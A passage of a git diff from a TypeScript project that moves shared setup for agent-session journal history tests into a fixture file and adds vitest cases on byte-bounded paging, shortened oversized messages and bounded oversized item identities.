expect(page.items.length).toBeGreaterThan(0) + seen.push(...page.items.map((entry) => entry.itemId)) + cursor = page.window.nextCursor + hasNewer = page.hasNewer + } + expect(new Set(seen).size).toBe(20) + }) + + it('sends a single over-budget item shortened and marked, never replaced', async () => { + await fixture.journal.appendItem(item(1), body(`1:${'y'.repeat(3 * 1024 * 1024)}`), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + + const tail = pageOf( + readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'tail', + limit: 40 + }) + ) + expect(tail.items).toHaveLength(1) + const sent = tail.items[0] + const text = + sent?.body.kind === 'message' && sent.body.blocks[0]?.type === 'text' + ? sent.body.blocks[0].text + : '' + expect(sent?.shortened).toBe(true) + expect(text.startsWith('1:yyy')).toBe(true) + expect(text.length).toBeLessThan(3 * 1024 * 1024) + }) +}) diff --git a/src/main/native-chat/agent-session-wire/agent-session-history-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/agent-session-history-contract-test-fixture.ts new file mode 100644 index 00000000000..7f36479ed85 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/agent-session-history-contract-test-fixture.ts @@ -0,0 +1,148 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach } from 'vitest' +import type { + AgentJournalItemBody, + AgentJournalItemIdentity, + AgentSessionJournalIdentity +} from '../../../shared/agent-session-journal-types' +import { + AGENT_JOURNAL_THREAD_SCOPE, + AGENT_SESSION_JOURNAL_SCHEMA_VERSION +} from '../../../shared/agent-session-journal-types' +import { serializeRemoteRuntimePayload } from '../../../shared/remote-runtime/remote-runtime-memory-limits' +import { + createTrackedJournalOpener, + openTestJournalHostDatabase, + insertTestJournalRow +} from '../agent-session-journal/journal-host-database-test-support' +import type { + JournalItemRow, + JournalRow, + JournalTombstoneRow +} from '../agent-session-journal/journal-row-schema' +import type { AgentSessionJournal } from '../agent-session-journal/journal-store' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' + +export const IDENTITY: AgentSessionJournalIdentity = { + sessionId: 'session-1', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') +} + +export const journals = createTrackedJournalOpener({ legacyInputs: true }) + +let root: string + +let clock = 1_000 + +let epochs = 0 + +let journal: AgentSessionJournal + +export function tick(): number { + clock += 1 + return clock +} + +export function item(ordinal: number): AgentJournalItemIdentity { + return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } +} + +export function body(text: string): AgentJournalItemBody { + return { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text }] } +} + +export async function appendItems(count: number): Promise { + for (let ordinal = 1; ordinal <= count; ordinal += 1) { + await journal.appendItem(item(ordinal), body(`item-${ordinal}`), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + } +} + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-wire-history-')) + clock = 1_000 + epochs = 0 + journal = await journals.open({ + identity: IDENTITY, + stateDirectory: root, + now: tick, + mintEpoch: () => { + epochs += 1 + return `epoch-${epochs}` + } + }) +}) + +afterEach(async () => { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) +}) + +export function serializedPageBytes(value: unknown): number { + return Buffer.byteLength(serializeRemoteRuntimePayload(value), 'utf8') +} + +export type RawSeedRow = + | Omit + | Omit + +/** Seed raw legacy rows, then reopen to exercise current read bounds. */ + +export async function reopenWithRawRows(rows: readonly RawSeedRow[]): Promise { + const full = rows.map( + (row) => + ({ + ...row, + v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, + epoch: journal.epoch, + fence: 1, + ts: tick() + }) as JournalRow + ) + await journal.close() + const opened = openTestJournalHostDatabase(root) + try { + opened.db.exec('BEGIN IMMEDIATE') + for (const row of full) { + insertTestJournalRow(opened.db, IDENTITY.sessionId, row) + } + opened.db.exec('COMMIT') + } finally { + await opened.close() + } + return journals.open({ identity: IDENTITY, stateDirectory: root, now: tick }) +} + +export const fixture = { + get clock() { + return clock + }, + set clock(value: typeof clock) { + clock = value + }, + get epochs() { + return epochs + }, + set epochs(value: typeof epochs) { + epochs = value + }, + get journal() { + return journal + }, + set journal(value: typeof journal) { + journal = value + }, + get root() { + return root + }, + set root(value: typeof root) { + root = value + } +} diff --git a/src/main/native-chat/agent-session-wire/agent-session-history-large-identities.test.ts b/src/main/native-chat/agent-session-wire/agent-session-history-large-identities.test.ts new file mode 100644 index 00000000000..80a239e8cdd --- /dev/null +++ b/src/main/native-chat/agent-session-wire/agent-session-history-large-identities.test.ts @@ -0,0 +1,199 @@ +import { describe, expect, it } from 'vitest' +import { boundJournalKeyComponent } from '../../../shared/agent-session-journal-item-key' +import type { AgentJournalItemIdentity } from '../../../shared/agent-session-journal-types' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES } from '../../../shared/remote-runtime/remote-runtime-memory-limits' +import { readAgentSessionHistory } from './agent-session-history-page' + +import { + fixture, + body, + reopenWithRawRows, + serializedPageBytes +} from './agent-session-history-contract-test-fixture' + +describe('pre-existing oversized identities', () => { + // Legacy oversized tombstone IDs cannot fit any outbound page. + const HUGE_ITEM_ID = `codex:thread-1:${'h'.repeat(5 * 1024 * 1024)}:1` + + it('answers an unfittable pre-existing removal with a bounded reset instead of an unsendable page', async () => { + const seq = fixture.journal.cursor().sequence + const reopened = await reopenWithRawRows([ + { kind: 'item', itemId: HUGE_ITEM_ID, revision: 1, seq: seq + 1, body: body('big') }, + { kind: 'tombstone', itemId: HUGE_ITEM_ID, revision: 2, seq: seq + 2 } + ]) + + for (const sequence of [seq, seq + 1]) { + const result = readAgentSessionHistory(reopened, { + sessionId: 'session-1', + direction: 'after', + cursor: { epoch: reopened.epoch, sequence }, + limit: 40 + }) + expect(result.ok).toBe(false) + if (result.ok) { + throw new Error('expected a reset') + } + expect(result.reset).toBe('cursor_compacted') + expect(serializedPageBytes(result.page)).toBeLessThanOrEqual( + REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES + ) + // Reset replaces client state without sending an unsendable removal ID. + expect(result.page.items).toEqual([]) + const liveCursor = result.page.liveCursor + if (!liveCursor) { + throw new Error('expected a live cursor on the reset page') + } + expect(liveCursor.sequence).toBeGreaterThanOrEqual(seq + 2) + + const resumed = readAgentSessionHistory(reopened, { + sessionId: 'session-1', + direction: 'after', + cursor: liveCursor, + limit: 40 + }) + expect(resumed.ok).toBe(true) + } + }) + + it('charges removal ids into the page budget and splits catch-up instead of overflowing', async () => { + const seq = fixture.journal.cursor().sequence + const removalIds = Array.from( + { length: 30 }, + (_, index) => `codex:thread-1:${'r'.repeat(250 * 1024)}:${index}` + ) + const reopened = await reopenWithRawRows( + removalIds.map((itemId, index) => ({ + kind: 'tombstone' as const, + itemId, + revision: 1, + seq: seq + 1 + index + })) + ) + + const seen = new Set() + let cursor = { epoch: reopened.epoch, sequence: seq } + let guard = 0 + while (true) { + guard += 1 + expect(guard).toBeLessThan(30) + const result = readAgentSessionHistory(reopened, { + sessionId: 'session-1', + direction: 'after', + cursor, + limit: 40 + }) + if (!result.ok) { + throw new Error(`expected a page, got reset ${result.reset}`) + } + expect(serializedPageBytes(result.page)).toBeLessThanOrEqual( + REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES + ) + for (const removed of result.page.removedItemIds) { + seen.add(removed) + } + cursor = result.page.window.nextCursor + if (!result.page.hasNewer) { + break + } + } + expect(seen).toEqual(new Set(removalIds)) + }) + + it('bounds the truncation marker id for a live oversized-id item', async () => { + const seq = fixture.journal.cursor().sequence + const reopened = await reopenWithRawRows([ + { kind: 'item', itemId: HUGE_ITEM_ID, revision: 1, seq: seq + 1, body: body('big') } + ]) + + const tail = readAgentSessionHistory(reopened, { + sessionId: 'session-1', + direction: 'tail', + limit: 40 + }) + if (!tail.ok) { + throw new Error(`expected a page, got reset ${tail.reset}`) + } + expect(serializedPageBytes(tail.page)).toBeLessThanOrEqual( + REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES + ) + expect(tail.page.items).toHaveLength(1) + const marker = tail.page.items[0] + expect(marker?.body.kind).toBe('status') + expect(marker?.itemId).toBe(boundJournalKeyComponent(HUGE_ITEM_ID)) + expect(marker?.itemId.length).toBeLessThan(2048) + + const forward = readAgentSessionHistory(reopened, { + sessionId: 'session-1', + direction: 'after', + cursor: { epoch: reopened.epoch, sequence: seq }, + limit: 40 + }) + if (!forward.ok) { + throw new Error(`expected a page, got reset ${forward.reset}`) + } + expect(serializedPageBytes(forward.page)).toBeLessThanOrEqual( + REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES + ) + expect(forward.page.items[0]?.itemId).toBe(boundJournalKeyComponent(HUGE_ITEM_ID)) + }) +}) + +describe('identity bounding at admission', () => { + it('bounds a new oversized provider identity so its item and removal share one sendable key', async () => { + const oversized: AgentJournalItemIdentity = { + provider: 'codex', + threadId: 'thread-1', + turnId: 'T'.repeat(5 * 1024 * 1024), + ordinal: 1 + } + const start = { epoch: fixture.journal.epoch, sequence: fixture.journal.cursor().sequence } + const appended = await fixture.journal.appendItem(oversized, body('bounded'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + expect(appended.itemId.length).toBeLessThan(2048) + expect(appended.itemId).toContain('~orca-oversized~') + + const beforeTombstone = fixture.journal.cursor() + await fixture.journal.appendTombstone(oversized, { fence: 1 }) + + const created = readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'after', + cursor: start, + limit: 40 + }) + if (!created.ok) { + throw new Error(`expected a page, got reset ${created.reset}`) + } + expect(serializedPageBytes(created.page)).toBeLessThanOrEqual( + REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES + ) + expect(created.page.removedItemIds).toEqual([appended.itemId]) + + const removal = readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'after', + cursor: beforeTombstone, + limit: 40 + }) + if (!removal.ok) { + throw new Error(`expected a page, got reset ${removal.reset}`) + } + expect(serializedPageBytes(removal.page)).toBeLessThanOrEqual( + REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES + ) + expect(removal.page.removedItemIds).toEqual([appended.itemId]) + }) + + it('keeps bounded keys deterministic and a fixed point of re-derivation', () => { + const oversized = 'x'.repeat(2 * 1024 * 1024) + const bounded = boundJournalKeyComponent(oversized) + expect(bounded).toBe(boundJournalKeyComponent(oversized)) + expect(boundJournalKeyComponent(bounded)).toBe(bounded) + expect(bounded.length).toBeLessThan(2048) + expect(boundJournalKeyComponent(`${oversized}y`)).not.toBe(bounded) + expect(boundJournalKeyComponent('short')).toBe('short') + }) +}) diff --git a/src/main/native-chat/agent-session-wire/agent-session-history-page.test.ts b/src/main/native-chat/agent-session-wire/agent-session-history-page.test.ts index 42bf2fefec6..8904d93b663 100644 --- a/src/main/native-chat/agent-session-wire/agent-session-history-page.test.ts +++ b/src/main/native-chat/agent-session-wire/agent-session-history-page.test.ts @@ -1,39 +1,8 @@ -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it } from 'vitest' -import { - agentJournalSubmissionKey, - boundJournalKeyComponent -} from '../../../shared/agent-session-journal-item-key' -import type { - AgentJournalItemBody, - AgentJournalItemIdentity, - AgentJournalMessageItem, - AgentSessionJournalIdentity -} from '../../../shared/agent-session-journal-types' -import { - AGENT_JOURNAL_THREAD_SCOPE, - AGENT_SESSION_JOURNAL_SCHEMA_VERSION -} from '../../../shared/agent-session-journal-types' +import { describe, expect, it } from 'vitest' +import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' import { AGENT_SESSION_HISTORY_MAX_LIMIT } from '../../../shared/agent-session-wire' -import { - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES, - serializeRemoteRuntimePayload -} from '../../../shared/remote-runtime/remote-runtime-memory-limits' -import { structuredAgentSessionPayloadFingerprint } from '../../../shared/structured-agent-session-mutation' -import { - createTrackedJournalOpener, - openTestJournalHostDatabase, - insertTestJournalRow -} from '../agent-session-journal/journal-host-database-test-support' -import type { - JournalItemRow, - JournalRow, - JournalTombstoneRow -} from '../agent-session-journal/journal-row-schema' -import type { AgentSessionJournal } from '../agent-session-journal/journal-store' -import { projectJournalBatch } from './agent-session-journal-batch' +import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' import { hostTestMessage } from './structured-agent-session-host-test-data' import { createAgentSessionCatchUpReader, @@ -44,63 +13,14 @@ import { readAgentSessionConversationOutline } from './agent-session-conversatio import { shortenedAgentJournalItem } from './agent-session-item-wire-form' import { firstStructuredChatNamingPrompt } from '../../../shared/structured-chat-naming-eligibility' import { structuredSessionGateFacts } from '../../runtime/orchestration/structured-session-pointer-delivery' -import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -const IDENTITY: AgentSessionJournalIdentity = { - sessionId: 'session-1', - workspaceId: 'ws-1', - hostId: 'host-1', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') -} - -const journals = createTrackedJournalOpener() -let root: string -let clock = 1_000 -let epochs = 0 -let journal: AgentSessionJournal - -function tick(): number { - clock += 1 - return clock -} - -function item(ordinal: number): AgentJournalItemIdentity { - return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } -} - -function body(text: string): AgentJournalItemBody { - return { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text }] } -} - -async function appendItems(count: number): Promise { - for (let ordinal = 1; ordinal <= count; ordinal += 1) { - await journal.appendItem(item(ordinal), body(`item-${ordinal}`), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - } -} - -beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-wire-history-')) - clock = 1_000 - epochs = 0 - journal = await journals.open({ - identity: IDENTITY, - stateDirectory: root, - now: tick, - mintEpoch: () => { - epochs += 1 - return `epoch-${epochs}` - } - }) -}) - -afterEach(async () => { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) -}) +import { + fixture, + IDENTITY, + appendItems, + body, + item +} from './agent-session-history-contract-test-fixture' describe('resolveHistoryLimit', () => { it('clamps rather than rejecting so a mid-scroll client keeps paging', () => { @@ -115,11 +35,15 @@ describe('resolveHistoryLimit', () => { describe('readAgentSessionHistory', () => { it('refreshes a retained catch-up reader after a same-cursor disk reload', async () => { const options = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - await journal.appendItem(item(0), { kind: 'turn', turnId: 'turn-1', state: 'running' }, options) - const view = journal.publicRead() + await fixture.journal.appendItem( + item(0), + { kind: 'turn', turnId: 'turn-1', state: 'running' }, + options + ) + const view = fixture.journal.publicRead() expect(view.snapshot.items).toHaveLength(1) - const cursor = journal.cursor() - const read = createAgentSessionCatchUpReader(journal, undefined, view) + const cursor = fixture.journal.cursor() + const read = createAgentSessionCatchUpReader(fixture.journal, undefined, view) const request = { sessionId: IDENTITY.sessionId, direction: 'after' as const, @@ -129,13 +53,12 @@ describe('readAgentSessionHistory', () => { ok: true, page: { items: [{ body: { state: 'running' } }], latestTurn: { turn: { state: 'running' } } } }) - openTestJournalHostDatabase(root) - .db.prepare( - "UPDATE journal_rows SET row_json = json_set(row_json, '$.body.state', 'completed') WHERE session_id = ? AND epoch = ? AND seq = ?" - ) - .run(IDENTITY.sessionId, cursor.epoch, cursor.sequence) - await journal.open() - expect(journal.cursor()).toEqual(cursor) + const { db } = openTestJournalHostDatabase(fixture.root) + db.prepare( + "UPDATE journal_rows SET row_json = json_set(row_json, '$.body.state', 'completed') WHERE session_id = ? AND epoch = ? AND seq = ?" + ).run(IDENTITY.sessionId, cursor.epoch, cursor.sequence) + await fixture.journal.open() + expect(fixture.journal.cursor()).toEqual(cursor) expect(read(request)).toMatchObject({ ok: true, page: { @@ -147,35 +70,35 @@ describe('readAgentSessionHistory', () => { it('serves current detail, outline, naming and mail facts without changing later history', async () => { const options = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - await journal.appendSubmission({ + await fixture.journal.appendSubmission({ clientMessageId: 'u', payloadFingerprint: 'u', body: hostTestMessage('Name this'), fence: 1 }) - const turn = await journal.appendItem( + const turn = await fixture.journal.appendItem( item(0), { kind: 'turn', turnId: 'turn-1', state: 'running' }, options ) const replies = { ...options, turnScope: { kind: 'turn' as const, turnItemId: turn.itemId } } - await journal.appendItem(item(1), body('obsolete reply'), replies) - await journal.appendItem(item(2), body('initial reply'), replies) - const warm = journal.snapshot() - await journal.resolveDispatch({ + await fixture.journal.appendItem(item(1), body('obsolete reply'), replies) + await fixture.journal.appendItem(item(2), body('initial reply'), replies) + const warm = fixture.journal.snapshot() + await fixture.journal.resolveDispatch({ clientMessageId: 'u', state: 'accepted', providerIdentity: null, fence: 1 }) - await journal.appendItem(item(2), body('Revised reply'), replies) - await journal.appendTombstone(item(1), { fence: 1 }) - await journal.appendItem( + await fixture.journal.appendItem(item(2), body('Revised reply'), replies) + await fixture.journal.appendTombstone(item(1), { fence: 1 }) + await fixture.journal.appendItem( item(0), { kind: 'turn', turnId: 'turn-1', state: 'completed' }, options ) - const current = journal.snapshot() + const current = fixture.journal.snapshot() const expected = structuredClone(current) expect(current).not.toBe(warm) const detail = current.items.at(-1)! @@ -189,17 +112,17 @@ describe('readAgentSessionHistory', () => { expect(structuredSessionGateFacts(current.items).turnRunning).toBe(false) expect(current.submissions).toMatchObject([{ clientMessageId: 'u', dispatchState: 'accepted' }]) expect( - readAgentSessionHistory(journal, { sessionId: IDENTITY.sessionId, direction: 'tail' }) + readAgentSessionHistory(fixture.journal, { sessionId: IDENTITY.sessionId, direction: 'tail' }) ).toMatchObject({ ok: true, page: { items: expected.items, submissions: expected.submissions } }) - expect(journal.snapshot()).toEqual(expected) + expect(fixture.journal.snapshot()).toEqual(expected) }) it('serves the newest page on tail and pages backward from it', async () => { await appendItems(5) - const tail = readAgentSessionHistory(journal, { + const tail = readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'tail', limit: 2 @@ -210,9 +133,9 @@ describe('readAgentSessionHistory', () => { expect(tail.page.items.map((entry) => entry.body)).toEqual([body('item-4'), body('item-5')]) expect(tail.page.hasOlder).toBe(true) expect(tail.page.hasNewer).toBe(false) - expect(tail.page.liveCursor).toEqual(journal.cursor()) + expect(tail.page.liveCursor).toEqual(fixture.journal.cursor()) - const older = readAgentSessionHistory(journal, { + const older = readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'before', cursor: tail.page.window.nextCursor, @@ -227,9 +150,9 @@ describe('readAgentSessionHistory', () => { it('catches a live reader up from its cursor and stops at the limit', async () => { await appendItems(2) - const cursor = journal.cursor() + const cursor = fixture.journal.cursor() await appendItems(5) - const page = readAgentSessionHistory(journal, { + const page = readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'after', cursor, @@ -245,10 +168,10 @@ describe('readAgentSessionHistory', () => { it('carries tombstones in a forward catch-up page', async () => { await appendItems(1) - const cursor = journal.cursor() - await journal.appendTombstone(item(1), { fence: 1 }) + const cursor = fixture.journal.cursor() + await fixture.journal.appendTombstone(item(1), { fence: 1 }) - const page = readAgentSessionHistory(journal, { + const page = readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'after', cursor @@ -263,26 +186,30 @@ describe('readAgentSessionHistory', () => { it('reports a forward read with no cursor as cursor_ahead rather than serving the tail', async () => { await appendItems(1) expect( - readAgentSessionHistory(journal, { sessionId: 'session-1', direction: 'after' }) + readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'after' }) ).toMatchObject({ ok: false, reset: 'cursor_ahead' }) }) it('resets a cursor from a previous epoch', async () => { await appendItems(1) - const stale = journal.cursor() - await journal.rollEpoch('legacy_import', 2) + const stale = fixture.journal.cursor() + await fixture.journal.rollEpoch('legacy_import', 2) for (const direction of ['before', 'after'] as const) { expect( - readAgentSessionHistory(journal, { sessionId: 'session-1', direction, cursor: stale }) + readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction, + cursor: stale + }) ).toMatchObject({ ok: false, reset: 'epoch_changed' }) } }) it('resets a cursor ahead of the journal', async () => { await appendItems(1) - const ahead = { epoch: journal.epoch, sequence: journal.cursor().sequence + 10 } + const ahead = { epoch: fixture.journal.epoch, sequence: fixture.journal.cursor().sequence + 10 } expect( - readAgentSessionHistory(journal, { + readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'before', cursor: ahead @@ -291,13 +218,16 @@ describe('readAgentSessionHistory', () => { }) it('carries the submission for a message on the page', async () => { - await journal.appendSubmission({ + await fixture.journal.appendSubmission({ clientMessageId: 'msg-1', payloadFingerprint: 'a'.repeat(64), body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'hi' }] }, fence: 1 }) - const page = readAgentSessionHistory(journal, { sessionId: 'session-1', direction: 'tail' }) + const page = readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'tail' + }) if (!page.ok) { throw new Error(`expected a page, got reset ${page.reset}`) } @@ -309,498 +239,3 @@ describe('readAgentSessionHistory', () => { }) }) }) - -describe('history page byte ceiling', () => { - // Several legal messages exceed the 4 MiB outbound cap. - const LARGE_TEXT = 'x'.repeat(250 * 1024) - - async function appendLargeItems(count: number): Promise { - for (let ordinal = 1; ordinal <= count; ordinal += 1) { - await journal.appendItem(item(ordinal), body(`${ordinal}:${LARGE_TEXT}`), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - } - } - - function pageOf(result: ReturnType) { - if (!result.ok) { - throw new Error(`expected a page, got reset ${result.reset}`) - } - serializeRemoteRuntimePayload(result.page) - return result.page - } - - it('keeps a tail of legal large messages under the channel cap and still pages back to every item', async () => { - await appendLargeItems(20) - - const tail = pageOf( - readAgentSessionHistory(journal, { sessionId: 'session-1', direction: 'tail', limit: 40 }) - ) - expect(tail.items.length).toBeGreaterThan(0) - expect(tail.hasOlder).toBe(true) - - const seen = tail.items.map((entry) => entry.itemId) - let cursor = tail.window.nextCursor - let hasOlder = tail.hasOlder - let guard = 0 - while (hasOlder) { - guard += 1 - expect(guard).toBeLessThan(30) - const page = pageOf( - readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'before', - cursor, - limit: 40 - }) - ) - expect(page.items.length).toBeGreaterThan(0) - seen.push(...page.items.map((entry) => entry.itemId)) - cursor = page.window.nextCursor - hasOlder = page.hasOlder - } - expect(new Set(seen).size).toBe(20) - }) - - it('bounds a forward catch-up page by bytes and keeps replaying to the head', async () => { - const start = { epoch: journal.epoch, sequence: 0 } - await appendLargeItems(20) - - const first = pageOf( - readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'after', - cursor: start, - limit: 40 - }) - ) - expect(first.items.length).toBeGreaterThan(0) - expect(first.hasNewer).toBe(true) - - const seen = first.items.map((entry) => entry.itemId) - let cursor = first.window.nextCursor - let hasNewer = first.hasNewer - let guard = 0 - while (hasNewer) { - guard += 1 - expect(guard).toBeLessThan(30) - const page = pageOf( - readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'after', - cursor, - limit: 40 - }) - ) - expect(page.items.length).toBeGreaterThan(0) - seen.push(...page.items.map((entry) => entry.itemId)) - cursor = page.window.nextCursor - hasNewer = page.hasNewer - } - expect(new Set(seen).size).toBe(20) - }) - - it('sends a single over-budget item shortened and marked, never replaced', async () => { - await journal.appendItem(item(1), body(`1:${'y'.repeat(3 * 1024 * 1024)}`), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - - const tail = pageOf( - readAgentSessionHistory(journal, { sessionId: 'session-1', direction: 'tail', limit: 40 }) - ) - expect(tail.items).toHaveLength(1) - const sent = tail.items[0] - const text = - sent?.body.kind === 'message' && sent.body.blocks[0]?.type === 'text' - ? sent.body.blocks[0].text - : '' - expect(sent?.shortened).toBe(true) - expect(text.startsWith('1:yyy')).toBe(true) - expect(text.length).toBeLessThan(3 * 1024 * 1024) - }) -}) - -describe('projectJournalBatch', () => { - it('publishes every nested lifecycle mutation atomically at the outer cursor', async () => { - const turn: AgentJournalItemIdentity = { - provider: 'legacy', - agent: 'codex', - sessionId: 'session-1', - recordId: 'turn-lifecycle:turn-1' - } - await journal.appendItem( - turn, - { kind: 'status', text: 'working' }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - const cursor = journal.cursor() - await journal.appendLifecycleBatch({ - settlementId: 'settlement-1', - fence: 1, - mutations: [ - { - kind: 'item', - identity: item(1), - body: body('one'), - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }, - { - kind: 'item', - identity: item(2), - body: body('two'), - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }, - { kind: 'tombstone', identity: turn } - ] - }) - - const page = readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'after', - cursor, - limit: 1 - }) - if (!page.ok) { - throw new Error(`expected a page, got reset ${page.reset}`) - } - expect(page.page.items.map((entry) => entry.body)).toEqual([body('one'), body('two')]) - expect(page.page.removedItemIds).toHaveLength(1) - expect(new Set(page.page.items.map((entry) => entry.sequence)).size).toBe(1) - - const tail = readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'tail', - limit: 1 - }) - if (!tail.ok) { - throw new Error(`expected a page, got reset ${tail.reset}`) - } - expect(tail.page.items.map((entry) => entry.body)).toEqual([body('one'), body('two')]) - }) - - it('reports a hole in the row sequence as journal_gap', async () => { - await appendItems(3) - const since = journal.readSince({ epoch: journal.epoch, sequence: 0 }) - if (!since.ok) { - throw new Error(`expected rows, got reset ${since.reset}`) - } - const withHole = since.rows.filter((row) => row.seq !== since.rows[1]?.seq) - expect( - projectJournalBatch({ rows: withHole, snapshot: journal.snapshot(), afterSequence: 0 }) - ).toEqual({ ok: false, reset: 'journal_gap' }) - }) - - it('publishes touched items at their current reduced state, not as a delta', async () => { - await appendItems(1) - const cursor = journal.cursor() - await journal.appendItem(item(1), body('revised'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - const since = journal.readSince(cursor) - if (!since.ok) { - throw new Error(`expected rows, got reset ${since.reset}`) - } - const projected = projectJournalBatch({ - rows: since.rows, - snapshot: journal.snapshot(), - afterSequence: cursor.sequence - }) - if (!projected.ok) { - throw new Error(`expected a batch, got reset ${projected.reset}`) - } - expect(projected.batch.items).toHaveLength(1) - expect(projected.batch.items[0]).toMatchObject({ body: body('revised'), revision: 2 }) - expect(projected.batch.cursor).toEqual(journal.cursor()) - }) - - it('lists a tombstoned item as removed', async () => { - await appendItems(1) - const cursor = journal.cursor() - await journal.appendTombstone(item(1), { fence: 1 }) - const since = journal.readSince(cursor) - if (!since.ok) { - throw new Error(`expected rows, got reset ${since.reset}`) - } - const projected = projectJournalBatch({ - rows: since.rows, - snapshot: journal.snapshot(), - afterSequence: cursor.sequence - }) - if (!projected.ok) { - throw new Error(`expected a batch, got reset ${projected.reset}`) - } - expect(projected.batch.removedItemIds).toHaveLength(1) - expect(projected.batch.items).toHaveLength(0) - }) - - it('publishes a mismatched provider echo under its submission slot', async () => { - const message: AgentJournalMessageItem = { - kind: 'message', - role: 'user', - blocks: [{ type: 'text', text: 'queued follow-up' }] - } - await journal.appendSubmission({ - clientMessageId: 'client-follow-up', - payloadFingerprint: structuredAgentSessionPayloadFingerprint({ - method: 'agentSession.send', - sessionId: IDENTITY.sessionId, - fields: { body: message } - }), - body: message, - fence: 1 - }) - const cursor = journal.cursor() - await journal.resolveDispatch({ - clientMessageId: 'client-follow-up', - state: 'accepted', - providerIdentity: { - provider: 'codex', - threadId: 'thread-1', - turnId: 'predicted', - ordinal: 0 - }, - fence: 1 - }) - await journal.appendItem( - { provider: 'codex', threadId: 'thread-1', turnId: 'root-turn', ordinal: 2 }, - message, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - - const page = readAgentSessionHistory(journal, { - sessionId: IDENTITY.sessionId, - direction: 'after', - cursor - }) - if (!page.ok) { - throw new Error(`expected a page, got reset ${page.reset}`) - } - expect(page.page.items).toMatchObject([ - { itemId: agentJournalSubmissionKey('client-follow-up'), revision: 1 } - ]) - expect(page.page.removedItemIds).toEqual([]) - }) -}) - -function serializedPageBytes(value: unknown): number { - return Buffer.byteLength(serializeRemoteRuntimePayload(value), 'utf8') -} - -type RawSeedRow = - | Omit - | Omit - -/** Seed raw legacy rows, then reopen to exercise current read bounds. */ -async function reopenWithRawRows(rows: readonly RawSeedRow[]): Promise { - const full = rows.map( - (row) => - ({ - ...row, - v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, - epoch: journal.epoch, - fence: 1, - ts: tick() - }) as JournalRow - ) - await journal.close() - const opened = openTestJournalHostDatabase(root) - try { - opened.db.exec('BEGIN IMMEDIATE') - for (const row of full) { - insertTestJournalRow(opened.db, IDENTITY.sessionId, row) - } - opened.db.exec('COMMIT') - } finally { - await opened.close() - } - return journals.open({ identity: IDENTITY, stateDirectory: root, now: tick }) -} - -describe('pre-existing oversized identities', () => { - // Legacy oversized tombstone IDs cannot fit any outbound page. - const HUGE_ITEM_ID = `codex:thread-1:${'h'.repeat(5 * 1024 * 1024)}:1` - - it('answers an unfittable pre-existing removal with a bounded reset instead of an unsendable page', async () => { - const seq = journal.cursor().sequence - const reopened = await reopenWithRawRows([ - { kind: 'item', itemId: HUGE_ITEM_ID, revision: 1, seq: seq + 1, body: body('big') }, - { kind: 'tombstone', 